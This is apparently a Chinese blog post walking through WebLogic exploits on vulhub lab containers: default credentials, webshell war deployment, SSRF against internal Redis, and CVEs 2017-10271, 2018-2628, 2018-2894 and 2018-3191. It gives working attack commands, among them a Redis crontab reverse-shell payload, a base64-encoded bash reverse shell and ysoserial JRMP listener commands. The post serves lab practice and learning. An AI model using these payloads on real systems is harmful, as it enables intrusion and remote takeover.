weblogic漏洞练习
About WebLogic
WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到12c(12.1.1)版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件(但目前Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
———— 引自 wikipedia
类似于一个Tomcat Apche之类的webserver,但是拥有更多集成的开发、集成、部署和管理功能。
常开放于7001/7002端口
漏洞环境来自于vulhub https://github.com/vulhub/vulhub/tree/master/weblogic
weak_password
访问/console
会转跳到管理员的登录界面
这里提供了两种方法进行进入后台,一个是弱口令,还有就是配合任意文件读取破解密码
弱口令的话没什么技巧可言,但也是实战中比较重要的一种方式,这里账号密码为
- 账号:weblogic
- 密码:Oracle@123
配合任意文件读取的话这里提供了一个http://your-ip:7001/hello/file.jsp?path=
任意文件读取点,需要读取两个文件(当前目录为/root/Oracle/Middleware/user_projects/domains/base_domain
)
./security/SerializedSystemIni.dat
并将获取到的二进制字符保存到文件中
./config/config.xml
获取到node-manager-password-encrypted
这个字段下的值
由于加密的算法是基于对称加密的,所以可以破解出原密码(工具在网上也不难找到
这样就可以顺利登录到网站后台了,然后就是部署一个包含自己马的war包(没有jsp马的我默默问大佬要了个马
linux下可以直接用命令打包war包
1 |
jar -cvf [war包名] [目录名] |
然后部署war包
访问http://your-ip:7001/web/web/xxx.jsp
即可访问到上传的马
SSRF
漏洞产生于/uddiexplorer/SearchPublicRegistries.jsp
页面中,可以导致ssrf,用来攻击内网中一些redis和fastcgi之类的脆弱组件
1 |
http://192.168.85.133:7001/uddiexplorer/SearchPublicRegistries.jsp |
当http端口存活的时候就会显示404not found
随机访问一个端口则会显示could not connect
一个非http的协议则会返回did not have a valid SOAP
,不存活的主机就是No route to host
访问redis服务时
攻击内网redis
一个简单的内网扫扫描
1 |
import requests |
扫描结果
1 |
[*] http://172.23.0.1:80 |
172.23.0.1是我本地虚拟机,就可以忽略,6379就是很熟悉的redis了
写如定时命令,详细攻击redis可以参考下 https://www.kingkk.com/2018/08/redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E4%B8%8Essrf%E5%88%A9%E7%94%A8/
1 |
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.23.0.1/21 0>&1\n\n\n\n" |
转换成url格式,然后传输
1 |
http://192.168.85.133:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.23.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20>%26%20%2Fdev%2Ftcp%2F172.23.0.1%2F1234%200>%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search |
在虚拟机中用nc监听端口
1 |
nc -l -p 1234 |
过一会就能看到反弹回来的shell
业务无需UUDI功能时建议将其关闭
反序列化 CVE-2017-10271
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞发生在/wls-wsat/CoordinatorPortType
页面中,它会将传入的xml语句进行解析、然后反序列化,造成任意代码执行
构造如下的http包,在<string>sub</string>
中传入所需的命令即可命令执行
1 |
POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
我这由于是在虚拟机中搭建的,就弹了个sublime框
需要注意的是Content-Type
要设置成text/xml
否则不会解析xml
反序列化 CVE-2018-2628
首先需要一个ysoserial
启动一个JRMP Server,[listen port] 为监听的端口 [ommand]为想要执行的命令
1 |
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] |
如我这为
1 |
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 23333 CommonsCollections1 'touch /tmp/evil' |
运行exp
1 |
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] |
- [victim ip]: weblogic ip
- [victim port]:weblogic 端口
- [path to ysoserial]:ysoserial地址
- [JRMPListener ip]:JRMP Server的ip
- [JRMPListener port]:JRMP Server的端口
- [JRMPClient]:有JRMPClient
或
JRMPClient2两个选项
1 |
python 44553.py 127.0.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.85.133 23333 JRMPClient |
然后进入虚拟机内部之后,就可看到tmp目录下生成的evil文件
复现的时候有几个小问题,JRMP Server的ip需要填本地主网卡(用于上网的那个)的ip
然后在物理机上攻击虚拟机中映射出来的docker环境不知道为什么没有成功
以及自己在虚拟机上搭建的weblogic10.3.6貌似也没有成功。。
任意文件上传 CVE-2018-2894
访问/ws_utc/config.do
页面可以设置工作目录,将其设置为
1 |
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css |
然后在安全->添加处上传一个小马
在返回的数据包中有文件的id值
然后访问/ws_utc/css/config/keystore/[id]_[filename]
即可访问到文件
这个漏洞有个限制条件就是需要在开发模式
下进行,否生产模式时需要进行认证登录
CVE-2018-3191
更新于2018/10/31
听说最近又出了一个危害比较大的漏洞,遂复现了一下。和之前一样,需要weblogic开启T3协议
1 |
nmap -n -v -Pn -sV 192.168.85.144 --script=weblogic-t3-info.nse |
需要一些准备的工具,具体可看这里https://github.com/jas502n/CVE-2018-3191
需要先生成一个payload
1 |
java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://攻击机ip:端口/exp > payload |
1 |
java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://172.20.0.1:8888/exp > payload |
开启一个rmi服务
1 |
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections1 "要执行的指令" |
1 |
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8888 Commonollections1 "bash -c {echo,L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvMTcyLjIwLjAuMS83Nzc3IDA8JjEgMj4mMQ==}|{base64,-d}|{bash,-i}" |
这里将shell弹到了本地的7777端口,用nc监听一下
1 |
nc -lnvp 7777 |
发送攻击流量
1 |
python weblogic.py 172.20.0.2 7001 payload |
同时rmi服务会接受到172.20.0.2
的流量
成功getshell
weblogic漏洞练习的更多相关文章
- [原创]K8Cscan插件之Weblogic漏洞扫描&通用GetShell Exploit
[原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...
- Weblogic漏洞利用
Weblogic漏洞 Weblogic任意文件上传(CVE-2018-2894) 受影响版本 weblogic 10.3.6.0.weblogic 12.1.3.0.weblogic 12.2.1.2 ...
- Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...
- weblogic漏洞分析之CVE-2021-2394
weblogic漏洞分析之CVE-2021-2394 简介 Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP.T ...
- weblogic漏洞分析之CVE-2016-0638
weblogic漏洞分析之CVE-2016-0638 一.环境搭建: 这里使用前一篇文章的环境,然后打上补丁 上一篇文章:https://www.cnblogs.com/yyhuni/p/151370 ...
- weblogic漏洞分析之CVE-2017-10271
weblogic漏洞分析之CVE-2017-10271 一.环境搭建 1)配置docker 这里使用vulhub的环境:CVE-2017-10271 编辑docker-compose.yml文件,加入 ...
- weblogic漏洞初探之CVE-2015-4852
weblogic漏洞初探之CVE-2015-4852 一.环境搭建 1. 搭建docker 这里用了vulhub的环境进行修改:https://vulhub.org/ 新建个文件夹,创建两个文件doc ...
- Weblogic漏洞修复记录
1.CVE-2018-2628.CVE-2018-2893 以上两个漏洞均是针对weblogic的t3服务进行攻击,如果有条件的,可以从oracle官网下载最新的补丁安装http://www.orac ...
- weblogic漏洞
1 weblogic控制台地址暴露 ² 整改方法: 禁用weblogic控制台.在weblogic域(sguap-domain和base-domain)的config下的config.xml中 &l ...
- [WEB安全]Weblogic漏洞总结
0x01 Weblogic简介 1.1 叙述 Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开 ...
随机推荐
- Dykin's blog
回归分析是一种很重要的预测建模技术.主要是研究自变量与因变量之间的因果关系.本文将会从数学角度与代码角度分析不同类型的回归.当你想预测连续型的非独立变量,或者对一系列独立变量或输入项有所反应时,就会使 ...
- sql问题处理
批量杀死MySQL连接 select concat('KILL ',id,';') from information_schema.processlist where Info like 'selec ...
- linux中nginx、mysql安装碰到的问题
服务器到期新买了一台服务器,记录一下重新安装基本环境碰到了一些问题 安装nginx 1. 启动失败 403 forbidden nginx 解决方案:(个人使用直接用了root账号,修改对应nginx ...
- Python——6切片
*/ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:text.cpp * 作者:常轩 * 微信公众号:Worldhe ...
- win10环境下VS2019配置NTL库
win10环境下VS2019配置NTL库 1.下载 WINNTL库文件 https://www.shoup.net/ntl/download.html 2.创建静态库 文件->新建-&g ...
- 1024程序员节最新福利之2018最全H5前端资料集
前言 有好久没有写博客了,主要这段时间都沉迷学习无法自拔了,哈哈.自吹一波. 前两天不是1024节吗,所以就有很多福利出现了,当然每个人能都获得的信息都有所不同,这就是所谓的信息差.秉着好东西需要分享 ...
- 《高性能javascript》阅读摘要
最近在阅读这本Nicholas C.Zakas(javascript高级程序设计作者)写的最佳实践.性能优化类的书.记录下主要知识. 加载和执行 脚本位置 放在<head>中的javasc ...
- 前端面试题-<!DOCTYPE>
现在的各种前端开发工具都足够强大,支持插入模板代码,也就导致我们往往会忽略已经自动生成的代码,而代码的第一行 DOCTYPE 声明,就是最容易忽略的部分. 一.DOCTYPE DOCTYPE 是 do ...
- 微信WXSS样式文件
目录 WXSS官方文档 1. WXSS 1.1. 尺寸单位 1.2. 样式导入 1.3. 内联样式 1.4. 选择器 1.5. 全局样式与局部样式 WXSS官方文档 https://developer ...
- openwrt 编译常用 luci 插件到固件中
先更新安装 packages luci ./scripts/feeds update packages ./scripts/feeds install -a -p packages ./scripts ...